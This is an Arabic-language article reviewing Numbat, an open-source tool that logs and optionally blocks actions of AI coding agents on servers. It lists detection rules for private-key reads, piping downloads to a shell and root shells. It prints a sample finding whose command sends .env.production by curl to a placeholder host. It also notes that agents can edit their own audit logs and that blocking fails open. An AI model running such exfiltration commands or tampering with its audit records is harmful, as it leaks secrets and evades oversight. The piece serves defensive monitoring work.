Numbat: راقب ما تفعله وكلاء الذكاء الاصطناعي
تعرّف إلى Numbat مفتوح المصدر من Perplexity: ما الذي يسجّله عن وكلاء البرمجة على خوادمك، ولماذا لا يستطيع منع قراءة مفاتيح SSH أو تنفيذ الأوامر.
ما هو Numbat
يمنحك Numbat رؤية لما فعله وكيل ذكاء اصطناعي على جهاز تملكه. يقرأ استدعاءات الخطافات وملفات الجلسات التي تنشئها وكلاء البرمجة مسبقًا، ويوحّدها في تنسيق أحداث واحد، ثم يطابقها مع قواعد تُفعَّل عند سلوكيات مثل قراءة مفتاح SSH خاص أو تمرير تنزيل مباشرةً إلى shell. أصدرت Perplexity البرنامج كمصدر مفتوح بموجب Apache 2.0، وكان أول إصدار موسوم في 29 July 2026.
يرِد كل ما يلي من مستودع المشروع ووثائقه الخاصة، وقد تمت قراءته في 2 August 2026. وعندما تقدم Perplexity ادعاءً، يوضح هذا المقال ذلك. هذا ليس دليل تثبيت، لأن عمر المستودع لا يتجاوز بضعة أيام، وستتغير أوامره.
المشكلة: لا أحد يسجّل ما فعله الوكيل
يُجري وكيل برمجي على VPS أوامر shell، ويقرأ الملفات ويكتبها ويفتح اتصالات شبكية، وكل ذلك باستخدام حساب المستخدم الذي سلّمته إليه. لا يسجّل سجل shell أيًّا من ذلك، لأن الوكيل لا يكتب في shell الخاص بك. يسجّل sshd عملية تسجيل دخولك فقط، ولا يسجّل ما قرر النموذج فعله بعد ذلك. يظل /var/log/auth.log صامتًا ما لم يحاول شيء الوصول إلى sudo. يحتفظ الوكيل بسجل جلساته الخاص، لكن هذا الملف يوجد في دليل جلسة الوكيل، ويتغير تنسيقه بين الإصدارات، كما أن عملية الوكيل نفسها تستطيع الكتابة فيه.
لذلك، عندما يسأل أحدهم عمّا إذا كان الوكيل قد قرأ .env.production يوم الثلاثاء الماضي، فالإجابة الصادقة في معظم الخوادم هي أنك لا تستطيع معرفة ذلك. هذه الفجوة هي سبب وجود هذا المشروع.
ما الذي يزعم Perplexity أن Numbat يقدمه
تبدأ وثيقة README بوصف الأداة بأنها «إتاحة رؤية لنشاط وكيل الذكاء الاصطناعي على نقطة النهاية، مع اكتشاف محلي، وحظر اختياري قبل التنفيذ، وإعادة بناء جنائية». المقصود بنقطة النهاية هنا هو الجهاز الذي يعمل عليه الوكيل، وليس جهازًا شبكيًا يراقب من الخارج. هذه قدرات منفصلة، ولكل منها أهمية مختلفة.
يعمل الاكتشاف على الجهاز. تُكتب القواعد بلغة CEL (لغة التعبيرات الشائعة)، وتُقيَّم محليًا، مع دعم قواعد التسلسل متعددة الخطوات، ودعم القواعد الخاصة بك بصيغة YAML. لا يلزم أن يغادر أي شيء الجهاز حتى تُفعَّل إحدى القواعد.
الحظر اختياري ومحدود النطاق. لا يعمل إلا من خلال خطافات متزامنة قبل التنفيذ، وعلى الوكلاء الذين يوفّرون هذه الخطافات. ويظل معطّلًا حتى تفعّله.
تحدث إعادة البناء بعد وقوع النشاط. تحلّل numbat scan مصنوعات الجلسات التي سبق للوكيل كتابتها على القرص، بحيث يمكنك فحص النشاط الذي وقع قبل تثبيت أي شيء. يحرص المشروع على تحديد نطاق هذا الادعاء: «إعادة البناء من البيانات الساكنة ليست جمعًا لمحتوى القرص أو الذاكرة، ولا يمكنها استرداد نشاط لم يحفظه الوكيل».
يكون الإخراج بصيغة NDJSON ذات إصدارات، أي JSON مفصول بأسطر، ويغطي الأحداث والنتائج وقرارات التنفيذ والمؤشرات وملخصات الفحص، وبإصدار مخطط 0.2.0 اعتبارًا من v0.1.2. تُرسل السجلات إلى stdout أو إلى ملف محلي، ويمكن أيضًا إرسالها عبر HTTP إلى جامع تديره. وتُوزَّع الأداة في صورة ملف Go ثنائي ثابت واحد، مبني من دون cgo، لأنظمة macOS وLinux وWindows على amd64 وarm64. لذلك، على خادم VPS يعمل بنظام Linux، تكون الأداة ملفًا واحدًا لا يتطلب تثبيت بيئة تشغيل مسبقًا.
ما الوكلاء الذين يستطيع Numbat رؤيتهم فعليًا؟
تُعد مصفوفة التغطية في docs/agent-coverage.md القائمة المعتمدة، وهي غير متساوية. يوضح المشروع ذلك صراحةً بدلًا من إخفائه. يدعم Claude Code وCodex وGemini CLI وCursor وGitHub Copilot CLI فحص المصنوعات البرمجية والتقاط الأحداث المباشرة باستخدام hook قبل الإجراء. يحصل OpenClaw على plugin أصلي ابتداءً من الإصدار 2026.7.1. وتُصنَّف مجموعة كبيرة من الإدخالات على أنها مؤجلة، ما يعني وجود مسار hook مباشر، مع عدم توفر محلل للمصنوعات البرمجية، غالبًا لأن ذلك الوكيل يخزن سجله في SQLite باستخدام سجل كتابة مسبق لا يمكن قراءته بأمان أثناء تشغيل الوكيل. كان OpenCode وCline ضمن هذه المجموعة عند قراءة المصفوفة في 2 August 2026.
تحقق من صف وكيلك قبل أن تخطط لأي شيء اعتمادًا على هذه الأداة، لأن معنى «مدعوم» يختلف تقريبًا في كل سطر.
كيف يبدو الاكتشاف
تحمل القواعد معرّفات توضّح الغرض منها. تغطي secrets.read_private_key مفتاح SSH أو بيانات اعتماد AWS أو إعدادات kube أو تسجيل الدخول إلى سجل حزم. تُفعّل exec.download_pipe_shell عندما يتم تمرير مخرجات curl أو wget إلى مفسّر. تكتشف privilege.elevated_shell طلبًا للحصول على shell تفاعلي بصلاحيات root عبر sudo أو doas أو su أو pkexec. تطابق impact.cryptomining_launch الملفات التنفيذية المعروفة لبرامج التعدين وأسماء الصور.
تربط قواعد التسلسل الأحداث داخل جلسة واحدة. تتطلب chain.secret_read_then_egress قراءة ملف سري، يتبعها أمر ينقل البيانات إلى الخارج. يعرض README النتيجة التالية من إعادة تشغيل محكومة لعمليتي استدعاء قبل الإجراء في Claude Code، وليس من حادثة مباشرة. وقد اختُصرت هنا إلى الحقول المهمة:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}لاحظ وجود "confidence": "medium" داخل السجل، ولاحظ ما يقوله المشروع عن فئة المخرجات بأكملها: "النتائج هي حالات تطابق للقواعد، وليست دليلًا على اختراق." سيطابق نص نشر يقرأ مفتاحًا ثم يحمّل عنصرًا برمجيًا ناتجًا عن البناء قاعدة التسلسل نفسها. يكون التطابق صحيحًا، بينما يكون التنبيه خاطئًا، وهذه هي الحالة المعتادة لكل أداة اكتشاف استخدمتها من قبل.
الحظر متوقف افتراضيًا، ويفشل النظام بوضع السماح
كل قاعدة تصدر مع Numbat مخصصة للمراقبة فقط. تحويل القاعدة إلى قاعدة حظر يتطلب إجراءً متعمدًا: انسخ ملف YAML الكامل للقاعدة إلى دليلك الخاص، وحافظ على المعرّف نفسه، وأضف enforce: true، وزِد رقم الإصدار، ثم تحقّق من هذه السياسة وثبّتها.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceالآن نصل إلى الجزء الذي يحدد مقدار الثقة التي ينبغي أن تمنحها للنظام. إن deny في Numbat عبارة عن استجابة يعيدها إلى الوكيل، والوكيل هو الذي يرفض استدعاء الأداة فعليًا. يوضح دليل التنفيذ مباشرة ما يحدث عند وجود مشكلة في Numbat نفسه: "تمنع حمولات البيانات غير الصحيحة، وأخطاء التقييم ذات الصلة، وحالات panic، وفشل الإخراج إرسال numbat deny." يقتصر إدخال hook على 4 MiB، ويسلك الإدخال الذي يتجاوز هذا الحجم المسار نفسه.
ويوضح الدليل أيضًا حدًّا مهمًا للاستجابة deny التي تصل فعلًا: "يعني Fail-open أن numbat يحجب استجابة deny الخاصة به. ولا يضمن ذلك تنفيذ الأداة: فقد يطلب المضيف تأكيدًا، أو يرفض التنفيذ، أو يتجاوز المهلة، أو يطبق hook أو سياسة أخرى."
لذلك، فإن التنفيذ هنا وسيلة حماية، وليس حدًا أمنيًا. إذا تعطلت العملية، فلن يحظر Numbat الإجراء، لأن أداة مراقبة تجمّد وكيلك في كل مرة تواجه فيها مشكلة ستُزال خلال أسبوع. هذه مقايضة معقولة. لكن لا تبنِ نموذجًا أمنيًا يفترض أن استجابة deny تصل دائمًا.
أين يندرج Numbat إلى جانب ما تفعله بالفعل
يعمل Numbat على نقطة النهاية، داخل شجرة عمليات الوكيل نفسه، ويكتب إلى ~/.numbat/records.ndjson افتراضيًا. ويمكن لوكيل يعمل بحسابك قراءة ذلك الملف. ويمكنه أيضًا تعديله. وتساوي سلسلة التدقيق قيمة العزل المحيط بها تمامًا، لذلك تظل جميع عناصر التحكم الموجودة لديك أمام هذه السلسلة، لا خلفها.
منح وكيل البرمجة جهازًا افتراضيًا قابلًا للتخلص منه يحدّ مما يمكن لتشغيل سيئ الوصول إليه. استخدام حساب ذي أقل قدر من الصلاحيات على VPS يمنع الوكيل من الوصول إلى الملفات التي لا يملك سببًا لفتحها. إبعاد بيانات الاعتماد عن سياق الوكيل هو ما يجعل تطابق secrets.read_private_key نادرًا بما يكفي لاستحقاق القراءة عند حدوثه. ولا يزال وضع الحماية الذي أعددته لـ Claude Code على VPS هو الآلية التي تتولى الاحتواء.
ما يضيفه Numbat هو السجل، لذلك أرسل السجل إلى مكان لا يستطيع الوكيل الوصول إليه. وُجد numbat ship وواجهة HTTP sink لهذا الغرض. وتُحدث نسخة من التدفق على جهاز ثانٍ الفرق بين ملف سجل ودليل. ويحمل نموذج الأحداث أيضًا حقول MCP (بروتوكول سياق النموذج)، لذلك تصل استدعاءات الأدوات التي تخرج عبر خادم MCP تستضيفه على VPS إلى التدفق نفسه الذي تصل إليه أوامر shell المحلية، وهذا مهم لأن هذا المسار غير مرئي لأي شيء يراقب bash فقط.
جرّبه بوضع القراءة فقط أولًا
ثبّت إصدارًا محددًا. يتطلب go install الإصدار Go 1.26.5 أو إصدارًا أحدث، وتحتوي صفحة الإصدارات على ملفات تنفيذية جاهزة مرفقة بقيم تحقق SHA-256 إذا كنت تفضّل عدم البناء من المصدر.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scanيكتشف numbat agents الوكلاء المثبّتين على الخادم. يحلّل numbat scan ملفات جلسات العمل الموجودة مسبقًا على القرص ويطبع السجلات. يذكر README أن هذه الأوامر «لا تثبّت hooks ولا تغيّر إعدادات الوكيل»، وأن numbat «لا ينفّذ الوكلاء أو الأوامر الموجودة في الملفات، ولا يرسل طلبات صادرة إلا إلى وجهات HTTP المهيّأة». تتم عملية الفحص بوضع القراءة فقط مع إخفاء الأسرار، ولا يتضمن إخراج السجلات العادي أبدًا نصًا خامًا كاملًا للجلسة.
الالتقاط المباشر هو الخطوة التالية، وهو يغيّر إعدادات الوكيل:
numbat hook install --agent codex --emit all
numbat hook status --agent codexيكتب --emit all الأحداث والنتائج والمؤشرات وقرارات التنفيذ المنطبقة إلى ~/.numbat/records.ndjson. يورد المشروع تحذيرين مباشرين. قد يلزم منح hooks الثقة داخل الوكيل قبل تشغيلها أصلًا، ويجب مراجعة هذه الثقة مرة أخرى بعد تغيير flags مثل --enforce. كما أن hook status «يتحقق من الإعداد، وليس من التنفيذ أو التسليم»، لذلك لا يثبت سطر الحالة السليم وصول السجلات إلى أي وجهة.
لماذا لا يُعد مستودع حديث كهذا اعتمادًا
الإصدارات العامة هي v0.1.1 في 29 July 2026 وv0.1.2 في 1 August 2026. كان المستودع يضم 597 نجمة عند كتابة هذا المنشور في 2 August 2026. تعكس هذه الزيادة السريعة جمهور Perplexity، لا مدى متانة الشفرة. تعني النجمة أن شخصًا حفظ الصفحة للاطلاع عليها لاحقًا.
رقم الإصدار يوضح بصدق مرحلة المشروع. تتناول ملاحظات v0.1.2 في معظمها إصلاحات لحجب بيانات الاعتماد، إضافة إلى أعمال توحيد حزم الحالات وبيانات القياس عن بُعد. وتُعد أخطاء الحجب الشكل المتوقع للعيوب المبكرة في أداة تتمثل مهمتها في قراءة سجلات البرامج الأخرى بأمان. وستظهر أخطاء أخرى، لأن المدخلات تأتي من عشرات الوكلاء الذين يغيّر كل منهم تنسيقه وفق جدول زمني مستقل.
تترتب على ذلك قاعدتان عمليتان. ثبّت الوسم، وليس @latest، في أي شيء تحتفظ به. وتعامل معه كأداة تقيّمها، لا كعنصر تحكم تعتمد عليه، على الأقل إلى أن يتوقف مخطط السجلات عن التغير.
FAQ
هل يحظر Numbat أوامر وكلاء الذكاء الاصطناعي الخطرة؟
فقط إذا فعّلت ذلك، وفقط على أساس أفضل جهد. كل قاعدة يصدرها Numbat مفعّل فيها الرصد فقط. للحظر، انسخ YAML الخاص بالقاعدة إلى دليلك الخاص، واحتفظ بالمعرّف الخاص بها، وأضف enforce: true، وارفِع الإصدار، ثم ثبّت الخطاف باستخدام --enforce. حتى في هذه الحالة، يكون الرفض استجابة تُرسل إلى الوكيل، والوكيل هو الذي يرفض الاستدعاء. يوضّح المشروع سلوك الفتح عند الفشل: تؤدي الحمولات غير الصحيحة، وأخطاء التقييم، وحالات panic، وفشل الإخراج كلها إلى منع الرفض. استخدمه كإجراء حماية إضافي، وليس كحدّك الأمني الوحيد.
ما وكلاء الذكاء الاصطناعي الذين يدعمهم Numbat؟
يختلف نطاق الدعم حسب الوكيل، وهو مذكور في docs/agent-coverage.md في المستودع. كان كل من Claude Code وCodex وGemini CLI وCursor وGitHub Copilot CLI يدعم فحص الملفات والتقاط الأحداث المباشرة عند قراءة تلك الصفحة في 2 August 2026، كما أن OpenClaw يوفّر إضافة أصلية منذ الإصدار 2026.7.1. تُدرج عدة وكلاء آخرين مع مسار لخطاف مباشر، لكن من دون محلّل للملفات حتى الآن، وعادةً لأن سجل جلساتهم موجود في قاعدة بيانات SQLite لا يمكن قراءتها بأمان أثناء تشغيل الوكيل. اقرأ الصف الخاص بوكيلك، لأن كلمة "مدعوم" تشمل هناك مستويات مختلفة عدة.
هل يستطيع الوكيل العبث بسجلات Numbat؟
نعم، إذا كان يعمل بصفته المستخدم نفسه. تُخزّن السجلات افتراضيًا في ~/.numbat/records.ndjson على الجهاز نفسه الذي يعمل عليه الوكيل، ولذلك يمكن لأي جهة تملك صلاحية الكتابة إلى ذلك المسار تعديل السجلات أو حذفها. أرسل الدفق إلى جامع لا يستطيع الوكيل الوصول إليه، باستخدام numbat ship أو مُرسِل HTTP، واحتفظ بالملف المحلي كنسخة مريحة. ولهذا السبب تكمل الأداة العزل بدلًا من أن تحل محله. فالوكيل المحصور في VM مؤقتة تحت مستخدم ذي أقل قدر من الصلاحيات يملك قدرة أقل بكثير على الوصول إلى سجل التدقيق الخاص به.
هل أصبح Numbat جاهزًا لخادم إنتاج؟
ليس كآلية تحكم تعتمد عليها. كان أول إصدار عام هو v0.1.1 في 29 July 2026، وتبعه v0.1.2 في 1 August 2026، ولذلك لا تزال الرايات ومخطط السجلات عرضة للتغيير. إن تشغيل numbat agents وnumbat scan على جهاز ما هو إجراء للقراءة فقط ومنخفض المخاطر، وسيُظهر لك ما تركه وكلاؤك على القرص. أما تثبيت خطافات الإنفاذ على خادم مهم فهو قرار مختلف، ويستحق استخدام وسم إصدار محدد ووضع خطة لما يحدث عندما يتصرف الخطاف بصورة غير صحيحة.